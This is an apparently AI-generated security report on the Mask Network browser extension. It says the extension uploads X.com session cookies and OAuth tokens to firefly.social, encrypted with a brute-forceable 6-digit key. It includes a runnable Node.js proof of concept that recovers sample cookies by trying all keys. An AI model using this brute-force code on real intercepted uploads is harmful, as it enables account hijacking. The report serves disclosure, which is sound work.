Is Mask Network safe?

High risk

Mask Network encrypts Twitter/X session cookies with a weak 6-digit key and uploads them to firefly.social.

When a user logs in to Twitter/X through the extension, Mask Network collects session cookies (auth_token, ct0, twid) and OAuth credentials, encrypts them with AES-CBC using a key derived from a 6-digit random number (~20 bits of entropy), and uploads the ciphertext to firefly.social/api/firefly/desktop-sync/upload. The extension also ships hardcoded Twitter OAuth1 consumer credentials (key and secret) in its bundle, which are sent to firefly.social to authenticate API calls.

Dimensionv2.35.4Chrome Web Store
75Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-522
SourceAI SANDBOX

X session cookies encrypted with a 6-digit brute-forceable key before upload

During Firefly's Twitter-sync, it collects X.com cookies (auth_token, ct0, twid, etc.) and OAuth1 tokens, encrypts with a 20-bit key/fixed IV, uploads to firefly.social.

A PoC brute-forced it in 4.55s; it leaks in cleartext + a QR code too.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You start the 'Connect your Firefly App' / sync-Twitter-cookies flow and grant the optional cookies permission, then click Upload.

The flow lives at the /wallet/sync-twitter-cookies route in the extension.

The extension did this

The extension encrypts your X.com session cookies and OAuth tokens with a six-digit key and uploads them to firefly.social.

The same six-digit key is included in cleartext in the upload and embedded in an on-screen QR code.

02EvidenceCODE COMPARE
The code that does this

Six-digit key derivation, hardcoded IV, and the upload

What it actually does
Readable form of the scheme
// Key: a 6-digit decimal string, 000000..999999 (~20 bits of entropy)
function generateCryptoKey() {
  const a = new Uint32Array(1);
  crypto.getRandomValues(a);
  return (a[0] % 1_000_000).toString().padStart(6, "0");
}

// Same IV for every user, every upload:
const IV = fromHex("0x4f05c37c16c801c2516b0338a8fd0cf9");

async function encrypt(plaintext, cryptoKey) {
  const aesKey = await crypto.subtle.digest("SHA-256", utf8(cryptoKey)); // key = SHA-256(6-digit string)
  return aesCbc(aesKey, IV, plaintext);
}

// Upload body carries the ciphertext AND the 6-digit key in cleartext:
// { session, cryptoKey, encryptedPayload }
03EvidenceFIELD TABLE
Session material inside the encrypted payload
FieldValueWhy it matters
X.com auth_token
auth_token=a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0The primary X.com session cookie. Possession grants logged-in access to the account.
X.com ct0
ct0=9f8e7d6c5b4a39281706f5e4d3c2b1a0The CSRF token cookie paired with auth_token for authenticated X.com requests.
X.com twid
twid="u=1234567890"Encodes the numeric account user id.
kdt / _twitter_sess
kdt=Hk9...; _twitter_sess=BAh7...Additional X.com session cookies bundled into the payload.
OAuth1 access token + credential
accessToken=1234567890-AbCdEf...; accessTokenSecret=VictimAccessTokenSecret9876543210The account's OAuth1 access token and access-token credential, allowing API access on the account's behalf.
04EvidenceOPAQUE REVEAL
Why you can't catch this in DevTools

The payload is uploaded as AES-CBC ciphertext, but the AES key is SHA-256 of a 6-digit string and the IV is hardcoded, so the entire keyspace is searchable in seconds. The proof-of-concept below encrypted a sample cookie payload with a random 6-digit key and recovered it by exhausting all 1,000,000 keys.

What's actually being sent
{
  "twitterAccounts": [
    {
      "type": "x",
      "user_id": "1234567890",
      "handle": "victim_user",
      "accessToken": "1234567890-AbCdEf...",
      "accessTokenSecret": "VictimAccessTokenSecret9876543210",
      "cookie": "auth_token=a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0; ct0=9f8e7d6c5b4a39281706f5e4d3c2b1a0; twid=\"u=1234567890\"; kdt=Hk9..."
    }
  ]
}
05EvidenceARTIFACT
Reproduce it yourself

Reproduces the extension's exact encryption scheme (SHA-256 of a 6-digit key, AES-256-CBC with the hardcoded IV), encrypts a sample cookie payload with a random 6-digit key, then brute-forces all 1,000,000 keys to recover the plaintext, demonstrating ~20 bits of effective entropy.

RequiresNode.js 18+
firefly-sync-bruteforce.js · js
#!/usr/bin/env node
const crypto = require('crypto');
const APP_LOGIN_ENCRYPT_IV = '0x4f05c37c16c801c2516b0338a8fd0cf9';
const iv = Buffer.from(APP_LOGIN_ENCRYPT_IV.replace(/^0x/, ''), 'hex');

// generateCryptoKey() from the extension
function generateCryptoKey() {
  const n = crypto.randomBytes(4).readUInt32LE(0);
  return (n % 1000000).toString().padStart(6, '0');
}
// encrypt(): aesKey = SHA-256(cryptoKey), AES-256-CBC w/ hardcoded IV
function encrypt(plainText, cryptoKey) {
  const aesKey = crypto.createHash('sha256').update(Buffer.from(cryptoKey, 'utf8')).digest();
  const c = crypto.createCipheriv('aes-256-cbc', aesKey, iv);
  return Buffer.concat([c.update(Buffer.from(plainText, 'utf8')), c.final()]);
}
function tryDecrypt(ct, cryptoKey) {
  try {
    const aesKey = crypto.createHash('sha256').update(Buffer.from(cryptoKey, 'utf8')).digest();
    const d = crypto.createDecipheriv('aes-256-cbc', aesKey, iv);
    return Buffer.concat([d.update(ct), d.final()]).toString('utf8');
  } catch (e) { return null; }
}

const payload = JSON.stringify({ twitterAccounts: [{ type: 'x', user_id: '1234567890', handle: 'victim_user', accessTokenSecret: 'VictimAccessTokenSecret9876543210', cookie: 'auth_token=SAMPLE_AUTHTOKEN; ct0=SAMPLE_CT0; twid="u=1234567890"; kdt=SAMPLE_KDT' }] });
const realKey = generateCryptoKey();
const ct = encrypt(payload, realKey);
console.log('Victim key (unknown to attacker):', realKey, '| ciphertext', ct.length, 'bytes');

const t0 = Date.now();
for (let i = 0; i < 1000000; i++) {
  const k = i.toString().padStart(6, '0');
  const pt = tryDecrypt(ct, k);
  if (pt && pt.includes('auth_token') && pt.includes('twitterAccounts')) {
    console.log(`Recovered key ${k} in ${((Date.now()-t0)/1000).toFixed(2)}s`);
    console.log('Recovered cookies:', JSON.parse(pt).twitterAccounts[0].cookie);
    process.exit(0);
  }
}
console.log('Key not recovered');
process.exit(1);
How to run it
  1. 1
    Save as firefly-sync-bruteforce.js.
  2. 2
    node firefly-sync-bruteforce.js.
  3. 3
    Observe the random 6-digit key recovered and the cookie payload decrypted in a few seconds.
06EvidencePLAIN NOTE
The key is also disclosed outside the ciphertext

Even without brute-forcing, the six-digit key travels in cleartext as the `cryptoKey` field of the same upload request, and it is rendered into a QR code shown to the user during the flow. Anyone able to read that request body or photograph the QR code obtains the key directly and can decrypt the payload immediately.

Data recipients

firefly.social
Updated 17 September 2026jkoeaghipilijlahjplgbfiocjhldnap